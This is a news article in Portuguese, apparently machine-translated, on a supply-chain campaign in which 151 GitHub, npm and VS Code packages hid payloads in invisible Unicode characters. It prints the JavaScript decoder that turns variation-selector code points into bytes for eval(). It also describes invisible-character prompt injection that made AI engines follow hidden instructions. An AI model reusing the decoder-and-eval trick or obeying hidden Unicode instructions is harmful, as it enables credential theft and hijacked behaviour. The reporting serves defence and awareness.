
O código invisível é renderizado com Áreas de uso privado (às vezes chamado de Acesso de Uso Privado), que são intervalos na especificação Unicode para caracteres especiais reservados para uso privado na definição de emojis, sinalizadores e outros símbolos. Os pontos de código representam cada letra do alfabeto dos EUA quando alimentados em computadores, mas sua saída é completamente invisível para os humanos. Pessoas revisando código ou usando análise estática as ferramentas veem apenas espaços em branco ou linhas em branco. Para um interpretador JavaScript, os pontos de código são traduzidos em código executável.
Os caracteres Unicode invisíveis foram criados há décadas e depois esquecidos. Isto é, até 2024, quando os hackers começaram a usar os personagens para ocultar avisos maliciosos alimentado para motores de IA. Embora o texto fosse invisível para humanos e scanners de texto, os LLMs tiveram poucos problemas para lê-los e seguir as instruções maliciosas que transmitiam. Desde então, os mecanismos de IA criaram grades de proteção projetadas para restringir o uso dos personagens, mas tais defesas são substituído periodicamente.
Desde então, a técnica Unicode tem sido usada em ataques de malware mais tradicionais. Em um dos pacotes que o Aikido analisou na postagem de sexta-feira, os invasores codificaram uma carga maliciosa usando caracteres invisíveis. A inspeção do código não mostra nada. Durante o tempo de execução do JavaScript, entretanto, um pequeno decodificador extrai os bytes reais e os passa para a função eval().
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
“A string de backtick passada para s() parece vazia em todos os visualizadores, mas está repleta de caracteres invisíveis que, uma vez decodificados, produzem uma carga maliciosa completa”, explicou Aikido. “Em incidentes anteriores, essa carga útil decodificada buscou e executou um script de segundo estágio usando Solana como canal de entrega, capaz de roubar tokens, credenciais e segredos.”
Desde que encontraram a nova rodada de pacotes no GitHub, os pesquisadores encontraram outros semelhantes no npm e no mercado VS Code. Aikido disse que os 151 pacotes detectados são provavelmente uma pequena fração espalhada pela campanha porque muitos foram excluídos desde o primeiro upload.
A melhor forma de se proteger contra o flagelo dos ataques à cadeia de abastecimento é inspecionar cuidadosamente os pacotes e as suas dependências antes de os incorporar nos projetos. Isso inclui examinar minuciosamente os nomes dos pacotes e procurar erros de digitação. Se as suspeitas sobre o uso do LLM estiverem corretas, os pacotes maliciosos podem parecer cada vez mais legítimos, especialmente quando caracteres Unicode invisíveis codificam cargas maliciosas.





